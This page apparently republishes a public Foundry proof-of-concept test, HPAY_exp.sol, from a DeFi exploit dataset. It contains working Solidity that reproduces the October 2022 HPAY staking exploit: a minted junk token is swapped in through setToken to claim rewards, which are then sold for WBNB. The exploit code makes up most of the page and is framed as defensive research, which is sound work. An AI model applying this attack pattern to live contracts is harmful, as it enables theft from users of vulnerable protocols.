Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/HPAY_exp.sol

Public reproduction file for dataset entry HPAY.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/HPAY_exp.sol149 lines
1//SPDX-License-Identifier: MIT
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~115 BNB
8// Attacker : 0xaB74FBd735Cd2ED826b64e0F850a890930A91094
9// Attack Contracts :
10// - https://www.bscscan.com/address/0xe3eA6e35A6F88DB9d342352B056139803A94b586
11// - https://www.bscscan.com/address/0x10FC0476a67c84D8b8ddb143a0fE9eE207b71d2C
12// Vulnerable Contract : https://www.bscscan.com/address/0xe9bc03ef08e991a99f1bd095a8590499931dcc30
14// Attack Txs : https://bscscan.com/txs?a=0xab74fbd735cd2ed826b64e0f850a890930a91094
16// @Info
17// Vulnerable Contract Code : https://www.bscscan.com/address/0xe9bc03ef08e991a99f1bd095a8590499931dcc30#code#F1#L174
18// This PoC is a simplification of the actual attack which was performed using multiple transactions.
19// They can be seen here: https://bscscan.com/txs?a=0xab74fbd735cd2ed826b64e0f850a890930a91094
20// The attacker transferred out 105.98 BNB + 10 BNB from the hack.
22// @Analysis
23// ACai Article (in Chinese) : https://www.cnblogs.com/ACaiGarden/p/16872933.html
25interface IMintableAutoCompundRelockBonus {
26 function setToken(
27 address
28 ) external;
29 function stake(
30 uint256
31 ) external;
32 function withdraw(
33 uint256
34 ) external;
37contract ContractTest is Test {
38 IERC20 constant HPAY_TOKEN = IERC20(0xC75aa1Fa199EaC5adaBC832eA4522Cff6dFd521A);
39 IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
40 Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
41 IMintableAutoCompundRelockBonus constant BONUS =
42 IMintableAutoCompundRelockBonus(0xF8bC1434f3C5a7af0BE18c00C675F7B034a002F0);
44 function setUp() public {
45 vm.createSelectFork("bsc", 22_280_853);
46 // Adding labels to improve stack traces' readability
47 vm.label(address(HPAY_TOKEN), "HPAY_TOKEN");
48 vm.label(address(WBNB_TOKEN), "WBNB_TOKEN");
49 vm.label(address(PS_ROUTER), "PS_ROUTER");
50 vm.label(address(BONUS), "BONUS");
51 vm.label(0xE9bc03Ef08E991a99F1bd095a8590499931DcC30, "BONUS_IMPL");
52 vm.label(0xa0A1E7571F938CC33daD497849F14A0c98B30FD0, "WBNB_HPAY_PAIR");
53 vm.label(0xc16e351751e63A34F44908b065Fc8Be592D564dE, "HPAY_RewardManager");
54 vm.label(0xf88daA7723f118EfB4416a0DfD129e005CA9166F, "HPAY_RewardManager_Impl");
55 vm.label(0x45b10a3C39DE271D8edc23796970acF8832C20ff, "HPAY_Fund");
56 vm.label(0x346abB57CfB43aD3Bb8210E3DD1dB12353160A0b, "HPAY_FeeManager");
57 }
59 function testExploit() external {
60 emit log_named_decimal_uint(
61 "[Start] Attacker WBNB balance before exploit", WBNB_TOKEN.balanceOf(address(this)), 18
62 );
64 HPAY_TOKEN.approve(address(PS_ROUTER), type(uint256).max);
65 // Shitcoin token creation
66 SHITCOIN shitcoin = new SHITCOIN();
67 shitcoin.mint(100_000_000 * 1e18);
69 // Configuring shitcoin and staking it
70 BONUS.setToken(address(shitcoin));
71 shitcoin.approve(address(BONUS), type(uint256).max);
72 BONUS.stake(shitcoin.balanceOf(address(this)));
74 // Change block.number
75 vm.roll(block.number + 1000);
77 // Configure HPAY token back again
78 BONUS.setToken(address(HPAY_TOKEN));
80 // Withdraw reward token
81 BONUS.withdraw(30_000_000 * 1e18);
82 _HPAYToWBNB();
84 emit log_named_decimal_uint(
85 "[End] Attacker WBNB balance after exploit", WBNB_TOKEN.balanceOf(address(this)), 18
86 );
87 }
89 /**
90 * Auxiliary function to swap all HPAY to WBNB
91 */
92 function _HPAYToWBNB() internal {
93 address[] memory path = new address[](2);
94 path[0] = address(HPAY_TOKEN);
95 path[1] = address(WBNB_TOKEN);
96 PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
97 HPAY_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp
98 );
99 }
102contract SHITCOIN {
103 uint256 public totalSupply;
104 mapping(address => uint256) public balanceOf;
105 mapping(address => mapping(address => uint256)) public allowance;
106 string public name = "SHIT COIN";
107 string public symbol = "SHIT";
108 uint8 public decimals = 18;
110 event Transfer(address indexed from, address indexed to, uint256 value);
111 event Approval(address indexed owner, address indexed spender, uint256 value);
113 function transfer(address recipient, uint256 amount) external returns (bool) {
114 balanceOf[msg.sender] -= amount;
115 balanceOf[recipient] += amount;
116 emit Transfer(msg.sender, recipient, amount);
117 return true;
118 }
120 function approve(address spender, uint256 amount) external returns (bool) {
121 allowance[msg.sender][spender] = amount;
122 emit Approval(msg.sender, spender, amount);
123 return true;
124 }
126 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
127 allowance[sender][msg.sender] -= amount;
128 balanceOf[sender] -= amount;
129 balanceOf[recipient] += amount;
130 emit Transfer(sender, recipient, amount);
131 return true;
132 }
134 function mint(
135 uint256 amount
136 ) external {
137 balanceOf[msg.sender] += amount;
138 totalSupply += amount;
139 emit Transfer(address(0), msg.sender, amount);
140 }
142 function burn(
143 uint256 amount
144 ) external {
145 balanceOf[msg.sender] -= amount;
146 totalSupply -= amount;
147 emit Transfer(msg.sender, address(0), amount);
148 }

Analysis

Dataset entry

Public Foundry test for “HPAY” (2022-10-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xab74fbd735cd2ed826b64e0f850a890930a91094

  • Attack Contract

    0xe3ea6e35a6f88db9d342352b056139803a94b586

  • Vulnerable Contract

    0xe9bc03ef08e991a99f1bd095a8590499931dcc30

File record

Name
HPAY
Path
src/test/2022-10/HPAY_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
af924ea849cb89b5e58287b3ec993efe9740666c
Language
Solidity
Size
150 lines
Date
2022-10-18
Licence
file header MIT; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/HPAY_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob af924ea849cb89b5e58287b3ec993efe9740666c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.